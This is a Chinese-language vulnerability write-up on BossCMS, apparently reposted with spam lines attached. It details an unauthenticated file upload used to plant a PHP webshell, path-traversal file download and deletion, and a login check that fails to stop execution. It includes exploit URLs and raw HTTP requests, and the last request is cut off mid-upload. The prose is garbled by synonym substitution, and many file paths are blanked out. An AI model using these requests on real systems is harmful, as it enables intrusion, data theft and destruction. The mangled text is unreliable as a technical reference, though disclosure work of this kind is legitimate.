html文件格式上载代码 【点选查看】板友文件格式学习书籍整套软件包相关教学音频html 文件格式上载源代码
php文件格式上载标识符 【点选查阅】板友文件格式自学书刊整套软件包有关课堂教学视频php 文件格式上载源标识符
2022-05-0182
序言
下列安全可靠漏洞已递交给 CNVD 并收录于
前台上载任何人文件格式
将 Type.php加进到前台安全可靠增设中
接着透过附带上载的形式上载php地牢文件格式
功能定位
随便找出上载点,接着Tourbe上载
修正file推送后收起
{"state":"该文件格式file不容许上载!"}
这里有一些有关的自学资料供大家参考[点选查阅]
板友文件格式PDF自学书刊整套软件包
审核源标识符
透过收起信息功能定位到 ////..php 下的源标识符
else是结果,接着在if处下断点
上载php文件格式开始调试
发现两个条件都不满足
php后缀不在$中! $type!=true 表示 $type 不为空
第一个条件
先解决第一个问题,在文件格式第29行可以看到$变量值得获取
接着全局搜索,发现他在/////safe.php中得到了
根据路由规则访问
http://bosscms/admin/#safe
如果有容许的上载类型,则直接加进.php并保存,返回源标识符继续上载.php调试
可以看出此时$数组中多了一个值php文件格式上载标识符,即.php,成功满足第一个要求
第二个条件
令!$type!=true,即令$type=null,即执行到函数第35行
这需要满足$arr数组中的$ext(.php),接着继续看$arr数组是从
$G[extension][$t]中获取的
这里的$t值是,得到的arr是
".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"
全局搜索结果在 //json/.json
在标识符键值中看到我们要上载的.php
所以我们的$t应该是标识符,接着回到..php
$t透过遍历$得到,$透过除$type得到。可以看到调用函数时$type的默认值为null,所以调用时指定了code值
跟踪函数,功能定位到 ////php/..php 中的第 246 行php文件格式上载标识符,调用函数并指定标识符值
第二个条件成功解决
测试上载
很明显安全可靠漏洞存在于编辑器的附带上载中
选择PHP地牢文件格式
上载成功
点选确认,右键打开新链接获取路径
成功
前台下载任何人文件格式
前台搭建url可下列载任意文件格式
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
功能定位
功能定位到 ///safe/..php
可以看到没有过滤,直接传值接着下载文件格式,get参数id值为文件格式名,可以透过
审核源标识符
全局搜索网站优化,最后在 ////into..php 的函数中找出可用的方法
接着就是找出调用链
从 //.php 开始
转到 //.php
////进入..php
函数执行时,使用func值成功调用方法
$mold 和 $part 用于拼接文件格式并包含一次,接着创建一个新的 $part 对象接着检查该对象中是否有 $func 函数,如果存在则调用它
这样就可以构造url了
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
在方法上增设断点并访问
调用成功,参数获取正确
文件格式下载成功
并且这个CMS的数据库信息写在固定文件格式///ini/.ini.php
可以配合敏感信息泄露
删除前台的所有文件格式
功能定位
功能定位到 ///safe/..php
还是没有过滤,获取参数id值作为文件格式名接着调用删除
利用之前的链,先在站点根目录新建test.txt
接着按照规则构造请求包(post:url,get:id)
///safe/..php文件格式方法
POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1
Host: bosscms
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=backup&func=table
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryYe2EcUgaamtd4Xnh
Content-Disposition: form-data; name="url"
1
------WebKitFormBoundaryYe2EcUgaamtd4Xnh--
成功删除文件格式
未经授权扩大危害
未经授权下载和删除任意文件格式
用户是否登录的验证在 ///..php 文件格式的init函数中
判断未登录时,跳转页面,但没有exit()或die()终止程序运行
所以你仍然可以在跳之前得到自己的结果(这可以在BP中体现)
未登录
先执行,成功执行结果得到结果
任何人文件格式下载都一样,在BP中可以看到跳转前的结果
任何人文件格式上载都是未经授权的
在未经授权的情况下扩大前台任何人文件格式上载的攻击面
文件格式上载未授权
POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1
Host: bosscms
Content-Length: 200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryvwjLJGiYAdfklq31
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/png